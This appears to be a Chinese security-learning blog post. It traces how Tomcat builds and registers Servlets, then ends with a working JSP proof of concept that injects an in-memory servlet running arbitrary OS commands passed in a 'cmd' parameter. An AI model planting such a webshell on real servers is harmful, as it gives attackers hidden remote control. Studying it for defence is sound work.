Tomcat Java内存马 Servlet型

Tomcat Java内存马 Servlet型

学完Listener型和Filter型后,了解到还有Servlet型,发现之前一些不懂的地方有点眉目了。特别是ContextConfig是怎么弄出来的,还有web.xml配置怎么读取这些问题,在ListenerFilter的时候调了好久没找到。

什么是Servlet?

Tomcat服务器是一个免费的开放源代码的Web应用服务器,TomcatApache软件基金会Apache Software FoundationJakarta项目中的一个核心项目,它早期的名称为catalina,后来由ApacheSun和其他一些公司及个人共同开发而成,并更名为TomcatTomcat应用服务器,它只是一个servlet容器,是Apache的扩展,但它是独立运行的。

从宏观上来看,Tomcat其实是Web服务器和Servlet容器的结合体

Web服务器:通俗来讲就是将某台主机的资源文件映射成URL供给外界访问。(比如访问某台电脑上的图片文件)

Servlet容器:顾名思义就是存放Servlet对象的东西,Servlet主要作用是处理URL请求。(接受请求、处理请求、响应请求)

Tomcat由四大容器组成,分别是EngineHostContextWrapper。这四个组件是负责关系,存在包含关系。

Engine(引擎):表示可运行的Catalinaservlet引擎实例,并且包含了servlet容器的核心功能。在一个服务中只能有一个引擎。同时,作为一个真正的容器,Engine元素之下可以包含一个或多个虚拟主机。它主要功能是将传入请求委托给适当的虚拟主机处理。如果根据名称没有找到可处理的虚拟主机,那么将根据默认的Host来判断该由哪个虚拟主机处理。

Host (虚拟主机):作用就是运行多个应用,它负责安装和展开这些应用,并且标识这个应用以便能够区分它们。它的子容器通常是Context。一个虚拟主机下都可以部署一个或者多个Web App,每个Web App对应于一个Context,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理。主机组件类似于Apache中的虚拟主机,但在Tomcat中只支持基于FQDN(完全合格的主机名)的“虚拟主机”。Host主要用来解析web.xml

Context(上下文):代表ServletContext,它具备了Servlet运行的基本环境,它表示Web应用程序本身。Context最重要的功能就是管理它里面的Servlet实例,一个Context代表一个Web应用,一个Web应用由一个或者多个Servlet实例组成。

Wrapper(包装器):代表一个Servlet,它负责管理一个Servlet,包括的Servlet的装载、初始化、执行以及资源回收。Wrapper是最底层的容器,它没有子容器了,所以调用它的addChild将会报错。

Servlet

简单了解一下Servlet后就要进行源码分析了,首先写一个Demo。这里我们选择实现Servlet接口,该接口需要@Override5个方法。

import javax.servlet.*;
import java.io.IOException;

public class ServletDemo02 implements Servlet { // 这里打断点
    @Override
    public void init(ServletConfig servletConfig) throws ServletException {}

    @Override
    public ServletConfig getServletConfig() {return null;}

    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        System.out.println("ServletDemo02 service");
    }

    @Override
    public String getServletInfo() {return null;}

    @Override
    public void destroy() {}
}

配置一下web.xml

<servlet>
    <servlet-name>ServletDemo02</servlet-name>
    <servlet-class>servlet.ServletDemo02</servlet-class>
</servlet>

<servlet-mapping>
    <servlet-name>ServletDemo02</servlet-name>
    <url-pattern>/servletdemo02</url-pattern>
</servlet-mapping>

调试模式访问/servletdemo02目录,在StandardWrapper.setServletClass(String servletClass)打断点停下,往上回溯到ContextConfig.configureStart(),在该方法里进行实例化。

//ContextConfig.java
/**
 * Process a "contextConfig" event for this Context.
 */
protected synchronized void configureStart() {
    webConfig();
}

/**
     * Scan the web.xml files that apply to the web application and merge them
     * using the rules defined in the spec. For the global web.xml files,
     * where there is duplicate configuration, the most specific level wins. ie
     * an application's web.xml takes precedence over the host level or global
     * web.xml file.
     */
protected void webConfig(){}

webConfig()方法里读取web.xml的各种配置

//ContextConfig.java
protected void webConfig() {
    WebXml webXml = createWebXml();

    // Parse context level web.xml
    InputSource contextWebXml = getContextWebXmlSource();
    if (!webXmlParser.parseWebXml(contextWebXml, webXml, false)) {
        ok = false;
    }

    // Step 9. Apply merged web.xml to Context
    if (!webXml.isMetadataComplete()) {
        if (ok) {configureContext(webXml);}
    }
}

创建WebXml对象然后通过getContextWebXmlSource()方法把web.xml的字节流byte[]读到contextWebXml里,然后通过webXmlParser.parseWebXml(contextWebXml, webXml, false)分析字节流并将分析出的配置信息设置到webXml里。

最后在configureContext(webXml)方法中把各种配置信息配置到Context.context上。

configureContext(webXml)方法依次读取FilterListenerServlet的配置及其映射,我们直接关注Servlet部分

//ContextConfig.java
private void configureContext(WebXml webxml) {
    for (ServletDef servlet : webxml.getServlets().values()) {
        
        Wrapper wrapper = context.createWrapper();

        if (servlet.getLoadOnStartup() != null) {
            wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
        }
        
        wrapper.setName(servlet.getServletName());
        wrapper.setServletClass(servlet.getServletClass());

		/*...*/
       
        context.addChild(wrapper);
    }
}

Tomcat的架构设计中,一个Wrapper管理一个Servlet,换句话说Wrapper封装了一个Servlet对象,所以首先createWrapper()创建一个Wrapper,然后设置启动优先级LoadOnStartupServletName以及ServletClass

最后将wrapper加入到contextcontext.addChild(wrapper),也就是加入到上下文

然后再将servletservlet-mapping做映射

//ContextConfig.java
private void configureContext(WebXml webxml) {

    /*...*/
    for (Entry<String, String> entry : webxml.getServletMappings().entrySet()) {
        context.addServletMappingDecoded(entry.getKey(), entry.getValue());
    }
}

//StandardContext.java
@Override
public void addServletMappingDecoded(String pattern, String name,
                                     boolean jspWildCard) {

    String adjustedPattern = adjustURLPattern(pattern);

    // Add this mapping to our registered set
    synchronized (servletMappingsLock) {servletMappings.put(adjustedPattern, name);}
    
    Wrapper wrapper = (Wrapper) findChild(name);
    wrapper.addMapping(adjustedPattern);

    fireContainerEvent("addServletMapping", adjustedPattern);
}

通过Servlet的分析反而把之前比较迷糊的FilterListener如何装载的问题给顺便搞定了。

总结一下,Servlet的生成与动态添加依次进行了以下步骤:

  1. 通过context.createWapper()创建Wapper对象;

  2. 设置ServletLoadOnStartUp的值;

  3. 设置ServletName

  4. 设置Servlet对应的Class

  5. Servlet添加到contextchildren中;

  6. URL路径和servlet类做映射。

如何加载Servlet?

org.apache.catalina.core.StandardWapper.loadServlet()打断点,从调用栈往上回溯到startInternal(),在startInternal()中通过loadOnStartup()方法加载和初始化被设置了load on startupservlet

//StandardContext.java
/**
     * Start this component and implement the requirements
     * of {@link org.apache.catalina.util.LifecycleBase#startInternal()}.
     *
     * @exception LifecycleException if this component detects a fatal error
     *  that prevents this component from being used
     */
@Override
protected synchronized void startInternal() throws LifecycleException
    
    if (ok) {
        if (!loadOnStartup(findChildren())){
            log.error(sm.getString("standardContext.servletFail"));
            ok = false;
        }
    }
}

findChildren()把之前context.addChild(wrapper)加入的字段childWrapper转换成数组给loadOnStartup()

//StandardContext.java
/**
 * Load and initialize all servlets marked "load on startup" in the
 * web application deployment descriptor.
 *
 * @param children Array of wrappers for all currently defined
 *  servlets (including those not declared load on startup)
 * @return <code>true</code> if load on startup was considered successful
 */
public boolean loadOnStartup(Container children[]) {

    // Collect "load on startup" servlets that need to be initialized
    TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap<>();
    for (Container child : children) {
        Wrapper wrapper = (Wrapper) child;
        int loadOnStartup = wrapper.getLoadOnStartup();
        if (loadOnStartup < 0) {
            continue;
        }
        Integer key = Integer.valueOf(loadOnStartup);
        ArrayList<Wrapper> list = map.get(key);
        if (list == null) {
            list = new ArrayList<>();
            map.put(key, list);
        }
        list.add(wrapper);
    }

    // Load the collected "load on startup" servlets
    for (ArrayList<Wrapper> list : map.values()) {
        for (Wrapper wrapper : list) {
            try {
                wrapper.load();
            } 
            catch (ServletException e) {}
        }
    }
    return true;

}

根据注释可以很容易的看出这个函数在做什么,获取所有load on startup大于0的servletwrapper.load()

load-on-startup元素取值规则如下:

  1. 它的取值必须是一个整数;
  2. 当值小于0或者没有指定时,则表示容器在该Servlet被首次请求时才会被加载;
  3. 当值大于0或等于0时,表示容器在启动时就加载并初始化该Servlet,取值越小,优先级越高;
  4. 当取值相同时,容器就会自行选择顺序进行加载。

Poc

<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {

        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {

        }
    };
%>

<%
    // 一个小路径快速获得StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext stdcontext = (StandardContext) req.getContext();
%>

<%
    Wrapper newWrapper = stdcontext.createWrapper();
    String name = servlet.getClass().getSimpleName();
    newWrapper.setName(name);
    //newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());
%>

<%
    // url绑定
    stdcontext.addChild(newWrapper);
    stdcontext.addServletMappingDecoded("/223", name);
%>

<html>
<head>
    <title>Title</title>
</head>
<body>
</body>
</html>

不知道参考文章里的newWrapper.setLoadOnStartup(1)用意是什么,至少我本地测试就算注释了也不影响。而且根据 <load-on-startup> 的取值规则看上去也没有任何影响。这里先存疑?

参考文章

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值